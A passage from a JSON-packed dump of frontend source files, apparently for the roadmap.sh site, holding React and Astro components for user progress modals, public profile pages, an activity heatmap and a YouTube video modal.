(resourceType === 'roadmap' && renderer === 'editor') {\n    resourceJsonUrl = `${import.meta.env.PUBLIC_API_URL}/v1-official-roadmap/${resourceId}`;\n  } else {\n    resourceJsonUrl += `/best-practices/${resourceId}.json`;\n  }\n\n  async function getUserProgress(\n    userId: string,\n    resourceType: string,\n    resourceId: string,\n  ): Promise<UserProgressResponse | undefined> {\n    const { error, response } = await httpGet<UserProgressResponse>(\n      `${\n        import.meta.env.PUBLIC_API_URL\n      }/v1-get-user-progress/${userId}?resourceType=${resourceType}&resourceId=${resourceId}`,\n    );\n\n    if (error || !response) {\n      throw error || new Error('Something went wrong. Please try again!');\n    }\n\n    return response;\n  }\n\n  async function getRoadmapSVG(\n    jsonUrl: string,\n    renderer: AllowedRoadmapRenderer = 'balsamiq',\n  ): Promise<SVGElement | undefined> {\n    const { error, response: roadmapJson } = await httpGet(jsonUrl);\n    if (error || !roadmapJson) {\n      throw error || new Error('Something went wrong. Please try again!');\n    }\n\n    return renderer === 'editor'\n      ? (renderFlowJSON(roadmapJson as any) as SVGElement)\n      : await wireframeJSONToSVG(roadmapJson, {\n          fontURL: '/fonts/balsamiq.woff2',\n        });\n  }\n\n  function onClose() {\n    deleteUrlParam('s');\n    setError('');\n    setShowModal(false);\n\n    if (onModalClose) {\n      onModalClose();\n    } else {\n      window.location.reload();\n    }\n  }\n\n  useKeydown('Escape', () => {\n    onClose();\n  });\n\n  useOutsideClick(popupBodyEl, () => {\n    onClose();\n  });\n\n  useEffect(() => {\n    if (!resourceJsonUrl || !resourceId || !resourceType || !userId) {\n      return;\n    }\n\n    setIsLoading(true);\n    setError('');\n\n    Promise.all([\n      getRoadmapSVG(resourceJsonUrl, renderer),\n      getUserProgress(userId, resourceType, resourceId),\n    ])\n      .then(([svg, user]) => {\n        if (!user || !svg) {\n          return;\n        }\n\n        const { progress } = user;\n        const { done, learning, skipped } = progress || {\n          done: [],\n          learning: [],\n          skipped: [],\n        };\n\n        done?.forEach((topicId: string) => {\n          topicSelectorAll(topicId, svg).forEach((el) => {\n            el.classList.add('done');\n          });\n        });\n\n        learning?.forEach((topicId: string) => {\n          topicSelectorAll(topicId, svg).forEach((el) => {\n            el.classList.add('learning');\n          });\n        });\n\n        skipped?.forEach((topicId: string) => {\n          topicSelectorAll(topicId, svg).forEach((el) => {\n            el.classList.add('skipped');\n          });\n        });\n\n        svg.querySelectorAll('.clickable-group').forEach((el) => {\n          el.classList.remove('clickable-group');\n        });\n\n        svg.querySelectorAll('[data-group-id]').forEach((el) => {\n          el.removeAttribute('data-group-id');\n        });\n\n        setResourceSvg(svg);\n        setProgressResponse(user);\n      })\n      .catch((err) => {\n        setError(err?.message || 'Something went wrong. Please try again!');\n      })\n      .finally(() => {\n        setIsLoading(false);\n      });\n  }, [userId]);\n\n  if (currentUser?.id === userId) {\n    deleteUrlParam('s');\n    return null;\n  }\n\n  if (!showModal) {\n    return null;\n  }\n\n  if (isLoading || error) {\n    return (\n      <ModalLoader\n        text={'Loading user progress..'}\n        isLoading={isLoading}\n        error={error}\n      />\n    );\n  }\n\n  return (\n    <div\n      id={'user-progress-modal'}\n      className=\"fixed top-0 right-0 left-0 z-100 h-full items-center justify-center overflow-x-hidden overflow-y-auto overscroll-contain bg-black/50\"\n    >\n      <div className=\"relative mx-auto h-full w-full max-w-4xl p-4 md:h-auto\">\n        <div\n          ref={popupBodyEl}\n          className={`popup-body relative rounded-lg bg-white pt-[1px] shadow-sm`}\n        >\n          <UserProgressModalHeader\n            isLoading={isLoading}\n            progressResponse={progressResponse}\n          />\n\n          <div\n            ref={resourceSvgEl}\n            className=\"px-4 pb-2\"\n            dangerouslySetInnerHTML={{ __html: resourceSvg?.outerHTML || '' }}\n          ></div>\n\n          <button\n            type=\"button\"\n            className={`absolute top-3 right-2.5 ml-auto inline-flex items-center rounded-lg bg-gray-100 bg-transparent p-1.5 text-sm text-gray-400 hover:text-gray-900`}\n            onClick={onClose}\n          >\n            <X className=\"h-4 w-4\" />\n            <span className=\"sr-only\">Close modal</span>\n          </button>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/UserProgress/UserProgressModalHeader.tsx",
    "content": "import type { UserProgressResponse } from './UserProgressModal';\n\ntype UserProgressModalHeaderProps = {\n  isLoading: boolean;\n  progressResponse: UserProgressResponse | undefined;\n};\n\nexport function UserProgressModalHeader(props: UserProgressModalHeaderProps) {\n  const { isLoading, progressResponse } = props;\n\n  const user = progressResponse?.user;\n  const progress = progressResponse?.progress;\n\n  const userProgressTotal = progress?.total || 0;\n  const userDone = progress?.done?.length || 0;\n  const userSkipped = progress?.skipped?.length || 0;\n  const progressPercentage =\n    Math.round(((userDone + userSkipped) / userProgressTotal) * 100) || 0;\n  const userLearning = progress?.learning?.length || 0;\n\n  return (\n    <div className=\"p-4\">\n      <div className=\"mb-5 mt-0 min-h-[28px] text-left sm:text-center md:mt-4 md:h-[60px]\">\n        <h2 className={'mb-1 text-lg font-bold md:text-2xl'}>\n          {user?.name}'s Progress\n        </h2>\n        <p\n          className={\n            'hidden text-xs text-gray-500 sm:text-sm md:block md:text-base'\n          }\n        >\n          You can close this popup and start tracking your progress.\n        </p>\n      </div>\n      <p\n        className={`-mx-4 mb-3 flex items-center justify-start border-b border-t px-4 py-2 text-sm sm:hidden`}\n      >\n        <span className=\"mr-2.5 block rounded-xs bg-yellow-200 px-1 py-0.5 text-xs font-medium uppercase text-yellow-900\">\n          <span>{progressPercentage}</span>% Done\n        </span>\n\n        <span>\n          <span>{userDone}</span> of <span>{userProgressTotal}</span> done\n        </span>\n      </p>\n      <p\n        className={`-mx-4 mb-3 hidden items-center justify-center border-b border-t py-2 text-sm sm:flex ${\n          isLoading ? 'striped-loader' : ''\n        }`}\n      >\n        <span className=\"mr-2.5 block rounded-xs bg-yellow-200 px-1 py-0.5 text-xs font-medium uppercase text-yellow-900\">\n          <span>{progressPercentage}</span>% Done\n        </span>\n\n        <span>\n          <span>{userDone}</span> completed\n        </span>\n        <span className=\"mx-1.5 text-gray-400\">·</span>\n        <span>\n          <span>{userLearning}</span> in progress\n        </span>\n\n        {userSkipped > 0 && (\n          <>\n            <span className=\"mx-1.5 text-gray-400\">·</span>\n            <span>\n              <span>{userSkipped}</span> skipped\n            </span>\n          </>\n        )}\n\n        <span className=\"mx-1.5 text-gray-400\">·</span>\n        <span>\n          <span>{userProgressTotal}</span> Total\n        </span>\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/UserPublicProfile/PrivateProfileBanner.tsx",
    "content": "import type { GetPublicProfileResponse } from '../../api/user';\nimport { Lock } from 'lucide-react';\n\ntype PrivateProfileBannerProps = Pick<\n  GetPublicProfileResponse,\n  'isOwnProfile' | 'profileVisibility'\n>;\n\nexport function PrivateProfileBanner(props: PrivateProfileBannerProps) {\n  const { isOwnProfile, profileVisibility } = props;\n\n  if (isOwnProfile && profileVisibility === 'private') {\n    return (\n      <div className=\"-mb-4 -mt-5 rounded-lg border border-yellow-400 bg-yellow-100 p-2 text-center text-sm font-medium\">\n        <Lock className=\"-mt-1 mr-1.5 inline-block h-4 w-4\" />\n        Your profile is private. Only you can see this page.\n      </div>\n    );\n  }\n\n  return null;\n}\n"
  },
  {
    "path": "src/components/UserPublicProfile/UserProfileRoadmap.tsx",
    "content": "import type {\n  GetUserProfileRoadmapResponse,\n  GetPublicProfileResponse,\n} from '../../api/user';\nimport { getPercentage } from '../../lib/number';\nimport { PrivateProfileBanner } from './PrivateProfileBanner';\nimport { UserProfileRoadmapRenderer } from './UserProfileRoadmapRenderer';\n\ntype UserProfileRoadmapProps = GetUserProfileRoadmapResponse &\n  Pick<\n    GetPublicProfileResponse,\n    'username' | 'name' | 'isOwnProfile' | 'profileVisibility'\n  > & {\n    resourceId: string;\n  };\n\nexport function UserProfileRoadmap(props: UserProfileRoadmapProps) {\n  const {\n    username,\n    name,\n    title,\n    resourceId,\n    isCustomResource,\n    done = [],\n    skipped = [],\n    learning = [],\n    topicCount,\n    isOwnProfile,\n    profileVisibility,\n  } = props;\n\n  const trackProgressRoadmapUrl = isCustomResource\n    ? `/r/${resourceId}`\n    : `/${resourceId}`;\n\n  const totalMarked = done.length + skipped.length;\n  const progressPercentage = getPercentage(totalMarked, topicCount);\n\n  return (\n    <>\n      <PrivateProfileBanner\n        isOwnProfile={isOwnProfile}\n        profileVisibility={profileVisibility}\n      />\n      <div className=\"container mt-5\">\n        <div className=\"flex items-center justify-between gap-2\">\n          <p className=\"flex items-center gap-1 text-sm\">\n            <a\n              href={`/u/${username}`}\n              className=\"text-gray-600 hover:text-gray-800\"\n            >\n              {username}\n            </a>\n            <span>/</span>\n            <a\n              href={`/u/${username}/${resourceId}`}\n              className=\"text-gray-600 hover:text-gray-800\"\n            >\n              {resourceId}\n            </a>\n          </p>\n\n          <a\n            href={trackProgressRoadmapUrl}\n            className=\"rounded-md border px-2.5 py-1 text-sm font-medium\"\n          >\n            Track your Progress\n          </a>\n        </div>\n\n        <h2 className=\"mt-10 text-2xl font-bold sm:text-4xl\">{title}</h2>\n        <p className=\"mt-2 text-sm text-gray-500 sm:text-lg\">\n          Skills {name} has mastered on the {title?.toLowerCase()}.\n        </p>\n      </div>\n\n      <div className=\"relative z-50 mt-10 hidden items-center justify-between border-y bg-white px-2 py-1.5 sm:flex\">\n        <p className=\"container flex text-sm\">\n          <span className=\"mr-2.5 rounded-xs bg-yellow-200 px-1 py-0.5 text-xs font-medium uppercase text-yellow-900\">\n            <span data-progress-percentage=\"\">{progressPercentage}</span>% Done\n          </span>\n\n          <span className=\"itesm-center hidden md:flex\">\n            <span>\n              <span>{done.length}</span> completed\n            </span>\n            <span className=\"mx-1.5 text-gray-400\">&middot;</span>\n            <span>\n              <span>{learning.length}</span> in progress\n            </span>\n            <span className=\"mx-1.5 text-gray-400\">&middot;</span>\n            <span>\n              <span>{skipped.length}</span> skipped\n            </span>\n            <span className=\"mx-1.5 text-gray-400\">&middot;</span>\n            <span>\n              <span>{topicCount}</span> Total\n            </span>\n          </span>\n          <span className=\"md:hidden\">\n            <span>{totalMarked}</span> of <span>{topicCount}</span> Done\n          </span>\n        </p>\n      </div>\n\n      <UserProfileRoadmapRenderer {...props} resourceType=\"roadmap\" />\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/UserPublicProfile/UserProfileRoadmapRenderer.tsx",
    "content": "import { useEffect, useRef, useState, type RefObject } from 'react';\nimport '../FrameRenderer/FrameRenderer.css';\nimport { Spinner } from '../ReactIcons/Spinner';\nimport {\n  renderTopicProgress,\n  topicSelectorAll,\n} from '../../lib/resource-progress';\nimport { useToast } from '../../hooks/use-toast';\nimport { replaceChildren } from '../../lib/dom.ts';\nimport type { GetUserProfileRoadmapResponse } from '../../api/user.ts';\nimport { ReadonlyEditor } from '@roadmapsh/editor';\nimport { cn } from '../../lib/classname.ts';\n\nexport type UserProfileRoadmapRendererProps = GetUserProfileRoadmapResponse & {\n  resourceId: string;\n  resourceType: 'roadmap' | 'best-practice';\n};\n\nexport function UserProfileRoadmapRenderer(\n  props: UserProfileRoadmapRendererProps,\n) {\n  const {\n    resourceId,\n    resourceType,\n    done,\n    skipped,\n    learning,\n    edges,\n    nodes,\n    isCustomResource,\n  } = props;\n\n  const containerEl = useRef<HTMLDivElement>(null);\n\n  const [isLoading, setIsLoading] = useState(!isCustomResource);\n  const toast = useToast();\n\n  let resourceJsonUrl = 'https://roadmap.sh';\n  if (resourceType === 'roadmap') {\n    resourceJsonUrl += `/${resourceId}.json`;\n  } else {\n    resourceJsonUrl += `/best-practices/${resourceId}.json`;\n  }\n\n  async function renderResource(jsonUrl: string) {\n    const res = await fetch(jsonUrl, {});\n    const json = await res.json();\n    const { wireframeJSONToSVG } = await import('roadmap-renderer');\n    const svg: SVGElement | null = await wireframeJSONToSVG(json, {\n      fontURL: '/fonts/balsamiq.woff2',\n    });\n\n    replaceChildren(containerEl.current!, svg);\n  }\n\n  useEffect(() => {\n    if (\n      !containerEl.current ||\n      !resourceJsonUrl ||\n      !resourceId ||\n      !resourceType ||\n      isCustomResource\n    ) {\n      return;\n    }\n\n    setIsLoading(true);\n    renderResource(resourceJsonUrl)\n      .then(() => {\n        done.forEach((id: string) => renderTopicProgress(id, 'done'));\n        learning.forEach((id: string) => renderTopicProgress(id, 'learning'));\n        skipped.forEach((id: string) => renderTopicProgress(id, 'skipped'));\n        setIsLoading(false);\n      })\n      .catch((err) => {\n        console.error(err);\n        toast.error(err?.message || 'Something went wrong. Please try again!');\n      })\n      .finally(() => {\n        setIsLoading(false);\n      });\n  }, []);\n\n  return (\n    <div id=\"customized-roadmap\">\n      <div\n        className={cn(\n          'bg-white',\n          isCustomResource ? 'w-full' : 'relative container max-w-[1000px]!',\n        )}\n      >\n        {isCustomResource ? (\n          <ReadonlyEditor\n            roadmap={{\n              nodes,\n              edges,\n            }}\n            className=\"min-h-[1000px]\"\n            onRendered={(wrapperRef) => {\n              done?.forEach((topicId: string) => {\n                topicSelectorAll(topicId, wrapperRef?.current!).forEach(\n                  (el) => {\n                    el.classList.add('done');\n                  },\n                );\n              });\n\n              learning?.forEach((topicId: string) => {\n                topicSelectorAll(topicId, wrapperRef?.current!).forEach(\n                  (el) => {\n                    el.classList.add('learning');\n                  },\n                );\n              });\n\n              skipped?.forEach((topicId: string) => {\n                topicSelectorAll(topicId, wrapperRef?.current!).forEach(\n                  (el) => {\n                    el.classList.add('skipped');\n                  },\n                );\n              });\n            }}\n            fontFamily=\"Balsamiq Sans\"\n            fontURL=\"/fonts/balsamiq.woff2\"\n          />\n        ) : (\n          <div\n            id={'resource-svg-wrap'}\n            ref={containerEl}\n            className=\"pointer-events-none px-4 pb-2\"\n          />\n        )}\n\n        {isLoading && (\n          <div className=\"flex w-full justify-center\">\n            <Spinner\n              isDualRing={false}\n              className=\"mt-2 mb-4 h-4 w-4 animate-spin fill-blue-600 text-gray-200 sm:h-8 sm:w-8\"\n            />\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/UserPublicProfile/UserPublicActivityHeatmap.tsx",
    "content": "import CalendarHeatmap from 'react-calendar-heatmap';\nimport { Tooltip as ReactTooltip } from 'react-tooltip';\nimport 'react-calendar-heatmap/dist/styles.css';\nimport 'react-tooltip/dist/react-tooltip.css';\nimport { formatActivityDate, formatMonthDate } from '../../lib/date';\nimport type { UserActivityCount } from '../../api/user';\nimport dayjs from 'dayjs';\n\ntype UserActivityHeatmapProps = {\n  activity: UserActivityCount;\n  joinedAt: string;\n};\n\nconst legends = [\n  { count: '1-2', color: 'bg-gray-200' },\n  { count: '3-4', color: 'bg-gray-300' },\n  { count: '5-9', color: 'bg-gray-500' },\n  { count: '10-19', color: 'bg-gray-600' },\n  { count: '20+', color: 'bg-gray-800' },\n];\n\nexport function UserActivityHeatmap(props: UserActivityHeatmapProps) {\n  const { activity } = props;\n  const data = Object.entries(activity.activityCount).map(([date, count]) => ({\n    date,\n    count,\n  }));\n\n  const startDate = dayjs().subtract(1, 'year').toDate();\n  const endDate = dayjs().toDate();\n\n  return (\n    <div className=\"rounded-lg border bg-white p-4\">\n      <div className=\"-mx-4 mb-8 flex justify-between border-b px-4 pb-3\">\n        <div className=\"\">\n          <h2 className=\"mb-0.5 font-semibold\">Activity</h2>\n          <p className=\"text-sm text-gray-500\">\n            Progress updates over the past year\n          </p>\n        </div>\n        <span className=\"text-sm text-gray-400\">\n          Member since: {formatMonthDate(props.joinedAt)}\n        </span>\n      </div>\n      <CalendarHeatmap\n        startDate={startDate}\n        endDate={endDate}\n        values={data}\n        classForValue={(value) => {\n          if (!value) {\n            return 'fill-gray-100 rounded-md [rx:2px] focus:outline-hidden';\n          }\n\n          const { count } = value;\n          if (count >= 20) {\n            return 'fill-gray-800 rounded-md [rx:2px] focus:outline-hidden';\n          } else if (count >= 10) {\n            return 'fill-gray-600 rounded-md [rx:2px] focus:outline-hidden';\n          } else if (count >= 5) {\n            return 'fill-gray-500 rounded-md [rx:2px] focus:outline-hidden';\n          } else if (count >= 3) {\n            return 'fill-gray-300 rounded-md [rx:2px] focus:outline-hidden';\n          } else {\n            return 'fill-gray-200 rounded-md [rx:2px] focus:outline-hidden';\n          }\n        }}\n        tooltipDataAttrs={(value: any) => {\n          if (!value || !value.date) {\n            return null;\n          }\n\n          const formattedDate = formatActivityDate(value.date);\n          return {\n            'data-tooltip-id': 'user-activity-tip',\n            'data-tooltip-content': `${value.count} Updates - ${formattedDate}`,\n          };\n        }}\n      />\n\n      <ReactTooltip\n        id=\"user-activity-tip\"\n        className=\"rounded-lg! bg-gray-900! p-1! px-2! text-sm!\"\n      />\n\n      <div className=\"mt-4 flex items-center justify-between\">\n        <span className=\"text-sm text-gray-400\">\n          Number of topics marked as learning, or completed by day\n        </span>\n        <div className=\"flex items-center\">\n          <span className=\"mr-2 text-xs text-gray-500\">Less</span>\n          {legends.map((legend) => (\n            <div\n              key={legend.count}\n              className=\"flex items-center\"\n              data-tooltip-id=\"user-activity-tip\"\n              data-tooltip-content={`${legend.count} Updates`}\n            >\n              <div className={`h-3 w-3 ${legend.color} mr-1 rounded-xs`}></div>\n            </div>\n          ))}\n          <span className=\"ml-2 text-xs text-gray-500\">More</span>\n          <ReactTooltip\n            id=\"user-activity-tip\"\n            className=\"rounded-lg! bg-gray-900! p-1! px-2! text-sm!\"\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/UserPublicProfile/UserPublicProfileHeader.tsx",
    "content": "import {\n  Github,\n  Globe,\n  LinkedinIcon,\n  Mail,\n  Pencil,\n  Twitter,\n} from 'lucide-react';\nimport type { GetPublicProfileResponse } from '../../api/user';\nimport { DailyDevIcon } from '../DailyDevIcon';\n\ntype UserPublicProfileHeaderProps = {\n  userDetails: GetPublicProfileResponse;\n};\n\nexport function UserPublicProfileHeader(props: UserPublicProfileHeaderProps) {\n  const { userDetails } = props;\n\n  const { name, links, publicConfig, avatar, email, isOwnProfile } =\n    userDetails;\n  const { headline, isAvailableForHire, isEmailVisible } = publicConfig!;\n\n  return (\n    <div className=\"container relative flex items-center gap-6 rounded-xl border bg-white p-8\">\n      <img\n        src={\n          avatar\n            ? `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${avatar}`\n            : '/img/default-avatar.png'\n        }\n        alt={name}\n        className=\"h-32 w-32 rounded-full object-cover\"\n      />\n\n      <div>\n        {isAvailableForHire && (\n          <span className=\"mb-1 inline-block rounded-md bg-green-100 px-2 py-1 text-sm text-green-700\">\n            Available for hire\n          </span>\n        )}\n        <h1 className=\"text-3xl font-bold\">{name}</h1>\n        <p className=\"mt-1 text-base text-gray-500\">{headline}</p>\n        <div className=\"mt-3 flex items-center gap-2\">\n          {links?.github && <UserLink href={links?.github} icon={Github} />}\n          {links?.linkedin && (\n            <UserLink href={links?.linkedin} icon={LinkedinIcon} />\n          )}\n          {links?.twitter && <UserLink href={links?.twitter} icon={Twitter} />}\n          {links?.dailydev && (\n            <UserLink href={links?.dailydev} icon={DailyDevIcon} />\n          )}\n          {links?.website && <UserLink href={links?.website} icon={Globe} />}\n          {isEmailVisible && <UserLink href={`mailto:${email}`} icon={Mail} />}\n        </div>\n      </div>\n\n      {isOwnProfile && (\n        <a\n          href=\"/account/update-profile\"\n          className=\"absolute right-4 top-4 flex items-center gap-1.5 text-sm text-gray-500 hover:text-black\"\n        >\n          <Pencil className=\"h-3 w-3 stroke-2\" />\n          Edit Profile\n        </a>\n      )}\n    </div>\n  );\n}\n\ntype UserLinkProps = {\n  href: string;\n  icon: ((props: React.SVGProps<SVGSVGElement>) => JSX.Element) | typeof Globe;\n};\n\nexport function UserLink(props: UserLinkProps) {\n  const { href, icon: Icon } = props;\n\n  return (\n    <a\n      target=\"_blank\"\n      href={href}\n      className=\"flex h-6 w-6 items-center justify-center rounded-md border\"\n      rel=\"nofollow noopener noreferrer\"\n    >\n      <Icon className=\"h-3.5 w-3.5 shrink-0 stroke-2\" />\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/UserPublicProfile/UserPublicProfilePage.tsx",
    "content": "import type { ProjectPageType } from '../../api/roadmap';\nimport type { GetPublicProfileResponse } from '../../api/user';\nimport { PrivateProfileBanner } from './PrivateProfileBanner';\nimport { UserActivityHeatmap } from './UserPublicActivityHeatmap';\nimport { UserPublicProfileHeader } from './UserPublicProfileHeader';\nimport { UserPublicProgresses } from './UserPublicProgresses';\nimport { UserPublicProjects } from './UserPublicProjects';\n\ntype UserPublicProfilePageProps = GetPublicProfileResponse & {\n  projectDetails: ProjectPageType[];\n};\n\nexport function UserPublicProfilePage(props: UserPublicProfilePageProps) {\n  const {\n    activity,\n    username,\n    isOwnProfile,\n    profileVisibility,\n    _id: userId,\n    createdAt,\n    projectDetails,\n  } = props;\n\n  return (\n    <div className=\"min-h-full grow bg-gray-200/40 pb-36 pt-10\">\n      <div className=\"container flex flex-col gap-8\">\n        <PrivateProfileBanner\n          isOwnProfile={isOwnProfile}\n          profileVisibility={profileVisibility}\n        />\n\n        <UserPublicProfileHeader userDetails={props!} />\n\n        <UserActivityHeatmap joinedAt={createdAt} activity={activity!} />\n        <div>\n          <UserPublicProgresses\n            username={username!}\n            userId={userId!}\n            roadmaps={props.roadmaps}\n            publicConfig={props.publicConfig}\n          />\n          <UserPublicProjects\n            userId={userId!}\n            projects={props.projects}\n            projectDetails={projectDetails}\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/UserPublicProfile/UserPublicProgressStats.tsx",
    "content": "import { getRelativeTimeString } from '../../lib/date';\nimport { getPercentage } from '../../lib/number';\n\ntype UserPublicProgressStats = {\n  resourceType: 'roadmap';\n  resourceId: string;\n  title: string;\n  updatedAt: string;\n  totalCount: number;\n  doneCount: number;\n  learningCount: number;\n  skippedCount: number;\n  showClearButton?: boolean;\n  isCustomResource?: boolean;\n  roadmapSlug?: string;\n  username: string;\n  userId: string;\n};\n\nexport function UserPublicProgressStats(props: UserPublicProgressStats) {\n  const {\n    updatedAt,\n    resourceId,\n    title,\n    totalCount,\n    learningCount,\n    doneCount,\n    skippedCount,\n    roadmapSlug,\n    isCustomResource = false,\n    username,\n    userId,\n  } = props;\n\n  // Currently we only support roadmap not (best-practices)\n  const url = isCustomResource\n    ? `/r/${roadmapSlug}`\n    : `/${resourceId}?s=${userId}`;\n  const totalMarked = doneCount + skippedCount;\n  const progressPercentage = getPercentage(totalMarked, totalCount);\n\n  return (\n    <a\n      href={url}\n      target=\"_blank\"\n      className=\"group block rounded-md border p-2.5\"\n    >\n      <h3 className=\"flex-1 cursor-pointer truncate text-lg font-medium\">\n        {title}\n      </h3>\n      <div className=\"relative mt-5 h-1 w-full overflow-hidden rounded-full bg-black/5\">\n        <div\n          className={`absolute left-0 top-0 h-full bg-black/40`}\n          style={{\n            width: `${progressPercentage}%`,\n          }}\n        />\n      </div>\n\n      <div className=\"mt-2 flex items-center justify-between gap-2\">\n        <span className=\"text-sm text-gray-600\">\n          {progressPercentage}% completed\n        </span>\n        <span className=\"text-sm text-gray-400\">\n          Last updated {getRelativeTimeString(updatedAt)}\n        </span>\n      </div>\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/UserPublicProfile/UserPublicProgresses.tsx",
    "content": "import type { GetPublicProfileResponse } from '../../api/user';\nimport { getPercentage } from '../../lib/number';\n\ntype UserPublicProgressesProps = {\n  userId: string;\n  username: string;\n  roadmaps: GetPublicProfileResponse['roadmaps'];\n  publicConfig: GetPublicProfileResponse['publicConfig'];\n};\n\nexport function UserPublicProgresses(props: UserPublicProgressesProps) {\n  const {\n    roadmaps: roadmapProgresses = [],\n    username,\n    publicConfig,\n    userId,\n  } = props;\n  const { roadmapVisibility, customRoadmapVisibility } = publicConfig! || {};\n\n  const roadmaps = roadmapProgresses.filter(\n    (roadmap) => !roadmap.isCustomResource,\n  );\n  const customRoadmaps = roadmapProgresses.filter(\n    (roadmap) => roadmap.isCustomResource,\n  );\n\n  return (\n    <div>\n      {customRoadmapVisibility !== 'none' && customRoadmaps?.length > 0 && (\n        <div className=\"mb-5\">\n          <h2 className=\"mb-2 text-xs uppercase tracking-wide text-gray-400\">\n            Roadmaps made by me\n          </h2>\n          <div className=\"grid grid-cols-1 gap-1.5 sm:grid-cols-2 md:grid-cols-3\">\n            {customRoadmaps.map((roadmap, counter) => {\n              const doneCount = roadmap.done;\n              const skippedCount = roadmap.skipped;\n              const totalCount = roadmap.total;\n\n              const totalMarked = doneCount + skippedCount;\n              const progressPercentage = getPercentage(totalMarked, totalCount);\n\n              return (\n                <a\n                  target=\"_blank\"\n                  href={`/r/${roadmap.roadmapSlug}`}\n                  key={roadmap.id + counter}\n                  className=\"rounded-md border bg-white px-3 py-2 text-left text-sm shadow-xs transition-all hover:border-gray-300 hover:bg-gray-50\"\n                >\n                  {roadmap.title}\n                </a>\n              );\n            })}\n          </div>\n        </div>\n      )}\n\n      {roadmapVisibility !== 'none' && roadmaps.length > 0 && (\n        <>\n          <h2 className=\"mb-2 text-xs uppercase tracking-wide text-gray-400\">\n            Skills I have mastered\n          </h2>\n          <div className=\"grid grid-cols-1 gap-1.5 sm:grid-cols-2 md:grid-cols-3\">\n            {roadmaps.map((roadmap, counter) => {\n              const percentageDone = getPercentage(\n                roadmap.done + roadmap.skipped,\n                roadmap.total,\n              );\n\n              return (\n                <a\n                  target=\"_blank\"\n                  key={roadmap.id + counter}\n                  href={`/${roadmap.id}?s=${userId}`}\n                  className=\"group relative flex items-center justify-between overflow-hidden rounded-md border border-gray-300 bg-white px-3 py-2 text-left text-sm transition-all hover:border-gray-400\"\n                >\n                  <span className=\"grow truncate\">{roadmap.title}</span>\n                  <span className=\"text-xs text-gray-400\">\n                    {percentageDone}%\n                  </span>\n\n                  <span\n                    className=\"absolute left-0 top-0 block h-full cursor-pointer rounded-tl-md bg-black/5 transition-colors group-hover:bg-black/10\"\n                    style={{\n                      width: `${percentageDone}%`,\n                    }}\n                  ></span>\n                </a>\n              );\n            })}\n          </div>\n        </>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/UserPublicProfile/UserPublicProjects.tsx",
    "content": "import type { ProjectPageType } from '../../api/roadmap';\nimport { ProjectProgress } from '../Activity/ProjectProgress';\nimport type { ProjectStatusDocument } from '../Projects/ListProjectSolutions';\n\ntype UserPublicProjectsProps = {\n  userId: string;\n  projects: ProjectStatusDocument[];\n  projectDetails: ProjectPageType[];\n};\n\nexport function UserPublicProjects(props: UserPublicProjectsProps) {\n  const { projects, projectDetails } = props;\n\n  const enrichedProjects =\n    projects\n      .map((project) => {\n        const projectDetail = projectDetails.find(\n          (projectDetail) => projectDetail.id === project.projectId,\n        );\n\n        return {\n          ...project,\n          title: projectDetail?.title || 'N/A',\n        };\n      })\n      ?.sort((a, b) => {\n        const isPendingA = !a.repositoryUrl && !a.submittedAt;\n        const isPendingB = !b.repositoryUrl && !b.submittedAt;\n\n        if (isPendingA && !isPendingB) {\n          return -1;\n        }\n\n        if (!isPendingA && isPendingB) {\n          return 1;\n        }\n\n        return 0;\n      }) || [];\n\n  if (!enrichedProjects.length) {\n    return null;\n  }\n\n  return (\n    <div className=\"mt-5\">\n      <h2 className=\"mb-2 text-xs uppercase tracking-wide text-gray-400\">\n        Projects I have worked on\n      </h2>\n      <div className=\"grid grid-cols-1 gap-1.5 sm:grid-cols-2 md:grid-cols-3\">\n        {enrichedProjects.map((project) => (\n          <ProjectProgress\n            key={project._id}\n            projectStatus={project}\n            showActions={false}\n          />\n        ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/VideoHeader.astro",
    "content": "---\nimport type { VideoFileType } from '../lib/video';\nimport YouTubeAlert from './YouTubeAlert.astro';\n\nexport interface Props {\n  video: VideoFileType;\n}\n\nconst { video } = Astro.props;\nconst { frontmatter, author } = video;\n---\n\n<div class='border-b bg-white py-5 sm:py-12'>\n  <div class='container text-left sm:text-center'>\n    <p\n      class='hidden items-center justify-start text-gray-400 sm:flex sm:justify-center'\n    >\n      <a\n        href={`/authors/${author.id}`}\n        class='inline-flex items-center font-medium hover:text-gray-600 hover:underline'\n      >\n        <img\n          alt={author.frontmatter.name}\n          src={author.frontmatter.imageUrl}\n          class='mr-2 inline h-5 w-5 rounded-full'\n        />\n        {author.frontmatter.name}\n      </a>\n      <span class='mx-1.5'>&middot;</span>\n      <span class='capitalize'>Illustrated Video</span>\n    </p>\n    <h1 class='my-0 text-2xl font-bold sm:my-3.5 sm:text-5xl'>\n      {frontmatter.title}\n    </h1>\n    <p class='text-md hidden text-gray-400 sm:block'>\n      {frontmatter.description}\n    </p>\n  </div>\n</div>\n"
  },
  {
    "path": "src/components/VideoModal.tsx",
    "content": "import { Modal } from './Modal';\n\ntype VideoModalProps = {\n  videoId: string;\n  onClose: () => void;\n  startTime?: string;\n};\n\nexport function VideoModal(props: VideoModalProps) {\n  const { videoId, onClose, startTime = '0' } = props;\n\n  return (\n    <Modal\n      onClose={onClose}\n      wrapperClassName=\"w-[90vw] max-w-4xl h-auto\"\n      bodyClassName=\"p-0 bg-black\"\n      overlayClassName=\"items-start md:items-center\"\n    >\n      <div className=\"relative w-full pt-[56.25%]\">\n        <iframe\n          className=\"absolute inset-0 h-full w-full\"\n          src={`https://www.youtube.com/embed/${videoId}?autoplay=1&start=${startTime}`}\n          allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\"\n          allowFullScreen\n        />\n      </div>\n    </Modal>\n  );\n} "
  },
  {
    "path": "src/components/YouTubeAlert.astro",
